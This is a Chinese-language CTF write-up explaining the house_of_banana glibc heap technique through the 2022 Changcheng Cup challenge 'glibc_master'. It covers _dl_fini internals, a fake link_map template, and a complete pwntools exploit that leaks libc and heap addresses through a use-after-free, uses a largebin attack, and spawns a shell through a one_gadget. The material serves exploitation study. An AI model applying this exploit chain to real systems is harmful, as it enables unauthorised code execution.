前言 借2022长城杯的一道题学习 house_of_banana。
House_Of_Banana 原理 详细原理可以直接查看放在学习链接里的文章,我也是通过这篇文章学习的,内容就不搬过来了。
house_of_banana 攻击的是 _rtld_global 的 link_map 链表,通过正常 main 函数返回或者调用 exit 退出,触发函数调用链:exit()->_dl_fini->(fini_t)array[i]
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 void _dl_fini (void ) { ... struct link_map *maps [nloaded ]; unsigned int i; struct link_map *l ; assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL ); for (l = GL(dl_ns)[ns]._ns_loaded, i = 0 ; l != NULL ; l = l->l_next) if (l == l->l_real) { assert (i < nloaded); maps[i] = l; l->l_idx = i; ++i; ++l->l_direct_opencount; } assert (ns != LM_ID_BASE || i == nloaded); assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1 ); unsigned int nmaps = i; _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE), NULL , true ); __rtld_lock_unlock_recursive (GL(dl_load_lock)); for (i = 0 ; i < nmaps; ++i) { struct link_map *l = maps[i]; if (l->l_init_called) { l->l_init_called = 0 ; if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL )) { if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0 )) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n" , DSO_FILENAME (l->l_name), ns); if (l->l_info[DT_FINI_ARRAY] != NULL ) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0 ) ((fini_t ) array [i]) (); } .... }
重点关注:
1 2 3 4 5 6 7 8 9 10 if (l->l_info[DT_FINI_ARRAY] != NULL ) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0 ) ((fini_t ) array [i]) (); }
DT_FINI_ARRAY 宏定义为 26,DT_FINI_ARRAYSZ 宏定义为 28。d_un.d_ptr 则是取 +8 处的指针,d_un.d_val 则是取 +8 处的值。
在有些情况下,rtld_global_ptr 与 libc_base 的偏移在本地与远程并不是固定的,远程的 ld.so 以及 TLS 等结构的地址与 libc 地址之间的偏移与本地的会不一样,但是大致处于一个范围内,并且,在同一个系统里,这个差值是固定的,其差值的变化往往在偏移的第 1.5BYTE~2.5BYTE 的位置,即地址十六进制的第4、5个数(末三位不变),因此我们只需爆破两个十六进制数即可。
利用 通过 large bin attack 替换 link_map 链表第3节点的 l_next。
可以利用下面的命令查看需要修改的地址。
1 2 3 distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next ->l_next -> l_next) 或者 p &(_rtld_global._dl_ns._ns_loaded->l_next ->l_next -> l_next)
image-20220825143354716
link_map 布局:
1 2 3 4 5 6 7 8 *(fake+0x28 ) = fake *(fake+0x48 ) = fake + 0x58 , *(fake+0x50 ) = 0x8 *(fake+0x58 ) = shell *(fake+0x110 ) = fake + 0x40 *(fake+0x120 ) = fake + 0x48 (int )*(fake+0x31c ) = 0x9
模板参考:
1 2 3 4 5 6 7 8 ogg = leak + 0xe6c7e fake = heap + offset fake_link_map = b'' fake_link_map = fake_link_map.ljust(0x18 , b'\x00' ) + p64(fake) fake_link_map = fake_link_map.ljust(0x38 , b'\x00' ) + p64(fake+0x58 ) + p64(8 ) + p64(ogg) fake_link_map = fake_link_map.ljust(0x100 , b'\x00' ) + p64(fake+0x40 ) fake_link_map += p64(0 ) + p64(fake+0x48 ) fake_link_map = fake_link_map.ljust(0x30C , b'\x00' ) + p32(9 )
总结 适用版本:目前已知版本都可以攻击利用。
攻击前提:
需要通过正常 main 函数返回或者调用 exit 退出来触发利用链。
拥有堆地址和 libc 地址。
只需要一次往任意地址(link_map 中链表的 l_next 指针)写一个可控地址。
题目 glibc-master image-20220825143519008
申请函数,只允许申请到0x40f~0x60f的堆块。
image-20220825143505081
释放时存在UAF。
image-20220825143604709
打印函数只允许打印两次,但是能直接打印地址。
image-20220825143628967
image-20220825143758891
编辑函数把真正操作堆块内容的部分都隐藏了,无法反汇编,只能查看汇编语言进行分析。嫌麻烦,没去分析,选择直接去调试,发现只要写入的数据长度小于申请的size就是正常的写入,如果等于,输入的内容就会被更改成垃圾数据。
所以这题使用 house of banana 打的话,不难,利用好 largebin attack 即可。
要使用 house of banana,是需要有 libc 和 堆地址的,libc比较容易,申请释放一个堆块即可。
image-20220825144305886
因为打印函数是 puts,存在 ‘\x00’阻断,所以堆地址需要在 fd 上才能被打印出来。大堆块自然能够想到都是 large bin 时,fd是会指向堆块的,也就可以泄露出堆地址。
image-20220825144537239
接着就是利用 largebin attack 写入堆地址,再将堆块伪造成 link_map 的节点。
image-20220825144842830
然后成功 getshell。
image-20220825144055306
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from errno import EDEADLKfrom re import Sfrom pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF('./glibc_master' ) DEBUG = 1 if DEBUG: libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so" ) ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so" ) p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})else : ip = '123.56.77.227' port = 42231 p = remote(ip, port) def debug (info="b main" ): gdb.attach(p, info) def add (idx, size ): p.sendlineafter(b">>" , b'1' ) p.recvuntil(b"input index:\n" ) p.sendline(str (idx).encode('ascii' )) p.recvuntil(b"input size:\n" ) p.sendline(str (size).encode('ascii' )) def edit (idx, content ): p.sendlineafter(b">>" , b'2' ) p.recvuntil(b"input index:\n" ) p.sendline(str (idx).encode('ascii' )) p.recvuntil(b"input context:\n" ) p.sendline(content)def show (idx ): p.sendlineafter(b">>" , b'3' ) p.recvuntil(b"input index:\n" ) p.sendline(str (idx).encode('ascii' ))def free (idx ): p.sendlineafter(b">>" , b'4' ) p.recvuntil(b"input index:\n" ) p.sendline(str (idx).encode('ascii' )) add(0 , 0x428 ) add(1 , 0x410 ) add(2 , 0x418 ) add(3 , 0x410 ) free(0 ) show(0 ) leak = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0x1ebbe0 log.info("libc_base==>0x%x" %leak) add(4 , 0x500 ) free(2 ) add(5 , 0x500 ) show(0 ) heap = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0xae0 log.info("heap_base==>0x%x" %heap) add(6 , 0x418 ) free(6 ) fd = leak + 0x1ebfd0 target = 0x1f2018 + leak edit(0 , p64(fd)*2 + p64(heap+0x290 ) + p64(target-0x20 )) add(7 , 0x500 ) ogg = leak + 0xe6c7e fake = heap + 0xae0 fake_link_map = b'' fake_link_map = fake_link_map.ljust(0x18 , b'\x00' ) + p64(fake) fake_link_map = fake_link_map.ljust(0x38 , b'\x00' ) + p64(fake+0x58 ) + p64(8 ) + p64(ogg) fake_link_map = fake_link_map.ljust(0x100 , b'\x00' ) + p64(fake+0x40 ) fake_link_map += p64(0 ) + p64(fake+0x48 ) fake_link_map = fake_link_map.ljust(0x30C , b'\x00' ) + p32(9 ) edit(2 , fake_link_map) p.sendlineafter(b">>" , b'1' ) p.recvuntil(b"input index:\n" ) p.sendline(b'30' ) p.interactive()
学习链接 https://www.anquanke.com/post/id/222948#h2-9
https://zhuanlan.zhihu.com/p/535469996